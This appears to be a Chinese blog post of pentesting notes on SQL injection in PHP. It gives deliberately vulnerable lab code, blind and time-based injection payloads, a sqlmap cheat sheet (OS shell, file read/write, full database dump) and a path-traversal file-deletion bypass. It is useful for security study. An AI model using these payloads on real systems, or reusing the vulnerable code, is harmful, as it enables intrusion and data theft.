Loading... # [PHP安全编码总结笔记之SQL注入](https://mp.weixin.qq.com/s/o6ZbIgXbPIZ9kCkvE24zBA) **SQL注入: **代码中的 HTTP_X_FORWARDED_FOR 地址可以被伪造，而REMOTE_ADDR则相对更安全，有些应用程序会将对方IP地址带入数据库查询是否存在，例如同一个IP每天只能注册一个账号等，如果目标代码中使用的是 HTTP_X_FORWARDED_FOR 获取的IP地址，那么攻击者就可以通过修改HTTP包头实现SQL注入攻击。 ```php <?php function get_client_addr() { if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")) { $ip = $_SERVER["HTTP_CLIENT_IP"]; echo "HTTP_CLIENT_IP =" . $ip; } else if ($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")) { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; echo "HTTP_X_FORWARDED_FOR =" . $ip; } else if ($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) { $ip = $_SERVER["REMOTE_ADDR"]; echo "REMOTE_ADDR =" . $ip; } else { $ip = "unknown"; } return $ip; } $addr = get_client_addr(); ?> ``` **SQL注入: **一种使用了过滤的代码，接受的参数经过过滤，字符串会被过滤掉SQL注入的关键字，整数会被强制转换为整数。 ```php <?php $var = date_default_timezone_get(); echo "当前时区: " . $var . "<br>"; date_default_timezone_set("Asia/Shanghai"); if (!get_magic_quotes_gpc()) { $var = waf($_GET['id']); echo "过滤后的参数: " . $var; } function waf($array) { if (is_array($array)) { foreach ($array as $key => $value) { $array [$key] = waf($value); } } else if (is_string($array)) { $array = addslashes($array); #$array = str_ireplace("and", "fuck", $array); $substr = array( "and" => "fuck you !", "where" => "fuck you !", "union" => "fuck you !", "select" => "fuck you !", "order" => "fuck you !", "update" => "fuck you !", "sleep" => "fuck you !", ); $array = str_ireplace(array_keys($substr), $substr, $array); } else if (is_numeric($array)) { $array = intval($array); } return $array; } ?> ``` **盲注的使用** 首先需要简单修改上方的源代码,去掉回显框,然后修改以下代码. ```html <!DOCTYPE html> <html> <head> <meta charset="gbk"> <title>SQL 注入测试代码</title> </head> <?php $connect = mysqli_connect("localhost","root","123","lyshark"); if($connect) { $id = $_GET['id']; if(isset($id)) { $sql = "select * from users where id='$id' limit 0,1"; $query = mysqli_query($connect,$sql); $row = mysqli_fetch_array($query); if(!empty($row)) { print("查询完成了.."); }else { print("查询失败"); } } } ?> <body> <?php echo '<hr><b> 后端执行SQL语句: </b>' . $sql; ?> </body> </html> ``` 猜数据库名称: 盲注也就是程序会返回两种状态,查询成功与查询失败,我们需要自己构建判断条件,常用语句如下. ```php index.php?id=1' and left(version(),1)=5 --+ // 返回正常,说明版本号是5 index.php?id=1' and (length(database()))=7 --+ // 返回正常,说明数据库名字长度是7 index.php?id=1' and (left(database(),1))='l' --+ // 返回正常,说明数据库第一位是l index.php?id=1' and (left(database(),2))='ly' --+ // 返回正常,说明数据库前两位位是ly,以此类推 index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+ // 验证第一位是否为l index.php?id=1')=121 --+ // 验证第二位是否为y,以此类推 ``` 猜表名:如果网页返回正常,则说明存在这个表,返回不正常说明不存在. ```php index.php?id=1' and (select count(*) from mysql.user) >=0 // 存在mysql.user表 index.php?id=1' and (select count(*) from lyshark) >=0// 存在lyshark表 ``` 猜字段: 如果网页返回正常,说明存在猜测的字段,不正常则需要继续猜. ```php index.php?id=1' and (select count(id) from users) >=0 // 返回正常说明存在id字段 index.php?id=1' and (select count(name) from users) >=0 // 返回不正常不存在name字段 index.php?id=1' and (select count(*) from lyshark) >=3 #-- // 返回表中记录数 ``` 用户名猜测: 通过正则符号也可使完成多指定用户的探测,其他函数用法相同. ```php index.php?id=1' and (length(user())) >=14 # // 猜测数据库用户名称长度 index.php?id=1' and (select user() like 'root%') # // 猜测用户名 index.php?id=1' and (select user() regexp '^[a-z]') # // 猜测开头a-z index.php?id=1' and (select user() regexp '^r') # // 第一位是r index.php?id=1' and (select user() regexp '^ro') # // 第二位是o index.php?id=1' and (select user() regexp '^root') # // 以此类推猜测前四位 ``` 延时注入: 通过sleep(5)延时的方式,我们同样可以判断是否存在注入点. ```php index.php?id=1' and sleep(5) # index.php?id=1' and sleep(5) order by 3 # // 如果是3个字段,则会延时5秒 index.php?id=1' and select if(length(user())=0,sleep(3),1) # //如果user=0则延时3秒 index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) # // 第1个字符=d则延时3秒 index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) # // 第2个字符=v则延时3秒 ``` **◆sqlmap 命令◆** **常用检测命令:** ```php sqlmap -u "./index.php?id=1" -v 3 # 显示攻击载荷 sqlmap -u "./index.php?id=1" --level=3 # 指定探测级别 sqlmap -u "./index.php?id=1" --privileges # 测试所有用户权限 sqlmap -u "./index.php?id=1" --privileges root # 测试root用户权限 sqlmap -u "./index.php?id=1" --all # 查询所有数据库 sqlmap -u "./index.php?id=1" --hostname # 查询当前主机名 sqlmap -u "./index.php?id=1" --is-dba # 判断root权限 sqlmap -u "./index.php?id=1" --users # 枚举数据库用户 sqlmap -u "./index.php?id=1" --random-agent # 随机User-Agent sqlmap -u "./index.php?id=1" --output-dir="" # 自定义输出目录 sqlmap -u "./index.php?id=1" --file-read="" # 读取文件 sqlmap -u "./index.php?id=1" --file-write="" # 写入操作 sqlmap -u "./index.php?id=1" --os-cmd="net user" # 执行一条命令 sqlmap -u "./index.php?id=1" --os-shell # 交互执行命令 sqlmap -u "./index.php?id=1" --sql-query="" # 执行的SQL语句 sqlmap -u "./index.php?id=1" --cookie="" # 指定cookie sqlmap -u "./index.php?id=1" --temper="" # 指定过滤脚本 sqlmap -u "./index.php?id=1" --dbs --delay 1 # 延时1秒后注入 sqlmap -u "./index.php?id=1" --dbs --safe-freq 3 # 延时3秒后注入 sqlmap -u "./index.php?id=1" --identify-waf # 测试是否有WAF sqlmap -u "./index.php?id=1" --current-db # 查询当前数据库 sqlmap -u "./index.php?id=1" --current-user # 查询当前主机名 sqlmap -u "./index.php?id=1" --users # 查询所有用户名 sqlmap -u "./index.php?id=1" --dbs # 列出所有数据库 sqlmap -u "./index.php?id=1" --tables # 列出所有的表 sqlmap -u "./index.php?id=1" -D "mysql" --tables # 获取mysql库中的表 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # 获取mysql.host表列名称 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # 将mysql.host保存到本地 sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # 全部脱裤 sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump ``` **Cookie注入: **当level>=2时,使用cookie注入,level >=3 使用User-agent/Referer注入. ```php sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 #判断注入点 sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #猜数据库名 sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #猜表名称 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2 #猜字段 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns--dump --level 2 #猜内容 ``` **POST注入: **该方法通常是使用抓包工具抓取数据包,然后指定字段进行测试即可. 1.浏览器打开目标地址 http://www.xxx.com/index.php 2.配置burp代理(127.0.0.1:8080) 准备拦截请求 3.点击login表单的submit按钮,或者其他按钮均可 4.这时候Burp会拦截到了我们的登录POST请求 5.把这个post请求复制为txt,记录下其中的 id=1&Submit=Submit ```php sqlmap -r post.txt -p id --dbs Sqlmap -r post.txt -p id -D mysql --tables Sqlmap -r post.txt -p id -D mysql -T user --columns sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2" ``` **其他漏洞利用** 任意文件删除: 执行删除语句http://php.com/?dir=.....////&file=a.txt 完成漏洞利用. ```php <?php $dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', urldecode(trim($_GET['dir']))) : ''; $dir = str_replace("-", "/", $dir); $file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['file']) : ''; $path = "./" . $dir . "/" . $file; $path = str_replace(array("//"), array("/"), $path); echo "当前路径是: " . $path . "<br>"; if (file_exists($path)) { if (unlink($path)) { echo "删除完成.."; } else { echo "删除失败.."; } } ?> ``` 最后修改：2023 年 12 月 25 日 © 允许规范转载 赞 如果觉得我的文章对你有用，请随意赞赏